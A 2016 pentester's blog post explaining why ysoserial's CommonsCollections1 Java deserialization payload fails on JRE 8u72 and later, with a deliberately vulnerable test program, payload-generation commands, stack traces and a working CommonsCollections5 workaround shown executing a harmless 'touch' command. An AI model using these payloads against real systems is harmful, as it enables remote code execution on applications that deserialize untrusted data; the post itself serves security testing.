Sunday, May 1, 2016

CommonCollections deserialization attack payloads from ysoserial failing on > JRE 8u72

Recently, while trying to exploit a Java app vulnerable to a deserialisation attack, I was having some issues getting the CommonsCollections1 payload from ysoerial working.  In case you're not familiar with this, essentially the <=3.2.1 versions of the Apache Commons Collections library can be used to create an attack payload of Java serialized data that can be used to execute local commands on systems running Java applications that deserialize untrusted attacker supplied content. The ysoserial tool enables an attacker to create a number of different serialized Java attack payloads which make use of a wide variety of commonly used Java libraries in order to fulfill their goals. The CommonsCollection1 payload is one of those targeting the CommonsCollections 3 branch.

This was a little frustrating, because I had used this exact payload multiple times in the past on pentests with great success.  Some further investigation was required, to figure out what was happening here.

During some testing on my local system, using a very simple vulnerable test application, I found that the payloads did not seem to work when run against Java apps executed on Oracle Java 1.8u91 but worked fine on Oracle Java 1.7u80.

Here's the vulnerable Java code, "SerializeTest.java", I was using for testing, which takes a single input parameter of a filename, then reads the contents of that file and tries to deserialise it. The code makes reference to the Java Commons Collection library, which will provide the ability for us to use the appropriate versions of the Commons Collection payloads from ysoserial to exploit this application, as long as the matching vulnerable version of the Commons Collections library is on the applications class path when we run it.

import java.io.ObjectInputStream;
import java.io.ByteArrayInputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.io.InputStream;
import org.apache.commons.collections.*;
 
public class SerializeTest{
  public static void main(String args[]) throws Exception{
    Bag bag = new HashBag();
    Path path = Paths.get(args[0]);
    byte[] data = Files.readAllBytes(path);
    InputStream d = new ByteArrayInputStream(data);
    ObjectInputStream ois = new ObjectInputStream(d);
    ois.readObject();
  }
}


I have included the command output showing the result of my testing below. During the testing, I create a file with malicious serialised Java data at /tmp/CommonsCollections1.bin with ysoserial, then try and read it with my vulnerable Java app using different versions of the Java runtime.

The following command creates a CommonsCollection1 payload file. This payload should create the file /tmp/pwned if deserialised by a Java application that has a vulnerable version of the Apache Commons Collections 3.x library on the class path.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -jar ~/Downloads/ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/pwned' > /tmp/CommonsCollections1.bin


Now, we try and read that payload file using our vulnerable Java application, via running it with the default Java JRE on my machine, which happens to be Java 1.8.0_91. The expectation is that this will work, and run our payload, creating file /tmp/pwned. When running the application, I have set the class path to point to a copy of the Commons Collections 3.2 library.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -version
java version "1.8.0_91"
Java(TM) SE Runtime Environment (build 1.8.0_91-b14)
Java HotSpot(TM) 64-Bit Server VM (build 25.91-b14, mixed mode)
stephen@ubuntu:~/workspace/SerializeTest/bin$ java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections1.bin 
Exception in thread "main" java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
 at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81)
 at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
 at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 at java.lang.reflect.Method.invoke(Method.java:498)
 at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
 at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1909)
 at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1808)
 at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353)
 at java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
 at SerializeTest.main(SerializeTest.java:17)
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory


The file /tmp/pwned doesn't exist. Strange. Lets try running the vulnerable application using an older version of Java.

stephen@ubuntu:~/workspace/SerializeTest/bin$ /usr/lib/jvm/java-7-oracle/bin/java -version
java version "1.7.0_80"
Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
stephen@ubuntu:~/workspace/SerializeTest/bin$ /usr/lib/jvm/java-7-oracle/bin/java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections1.bin 
Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set
 at com.sun.proxy.$Proxy0.entrySet(Unknown Source)
 at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 at java.lang.reflect.Method.invoke(Method.java:606)
 at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
 at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
 at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
 at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
 at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
 at SerializeTest.main(SerializeTest.java:17)
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned
/tmp/pwned


OK, that worked - /tmp/pwned exists, proof of pwnage. Same Java application, same malicious serialized payload, same vulnerable version of Commons Collections library - the only thing different between these two exploitation attempts is the version of the JRE being used to run the vulnerable app. Note the different Java error messages produced via the two executions of that program. The second error is an expected error, the first however is not. Some Googling for the "java.lang.Override missing element" Java "bad" error I was receiving led me to this issue on the ysoserial tracker on GitHub (and yes, I probably should have just checked there before the hours of testing).

So, some changes made to the VM in December last year, in JRE 8u72 just after the Java deserialisation attack blew up in the security community with the Floxglove security post, appear to be breaking this gadget chain. Is there a way around this so we can get our sploit on?  As it turns out, the answer is yes. A workaround has been added to the ysoserial 0.0.5 snapshot branch on github.

Grab the latest snapshot of ysoserial via git, and build it using Maven like so.

mvn -DskipTests clean package


This will create a 0.0.5 snapshot version of ysoserial. Then, build an exploit using the CommonCollections5 payload.

stephen@ubuntu:~/workspace/SerializeTest/bin$ java -jar ~/Downloads/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/pwned2.0' > /tmp/CommonsCollections5.bin 
stephen@ubuntu:~/workspace/SerializeTest/bin$ java -cp .:../lib/commons-collections-3.2.jar SerializeTest /tmp/CommonsCollections5.bin 
stephen@ubuntu:~/workspace/SerializeTest/bin$ ls /tmp/pwned2.0 
/tmp/pwned2.0

1 comment:

  1. I ran into the same issue testing a PoC on Ubuntu 14.04 with the latest version of openjdk-7, 7u101-2.6.6-0ubuntu0.14.04.1. After following your steps of building the latest version of ysoserial, I was able to successfully execute the PoC. Thanks for posting this

    ReplyDelete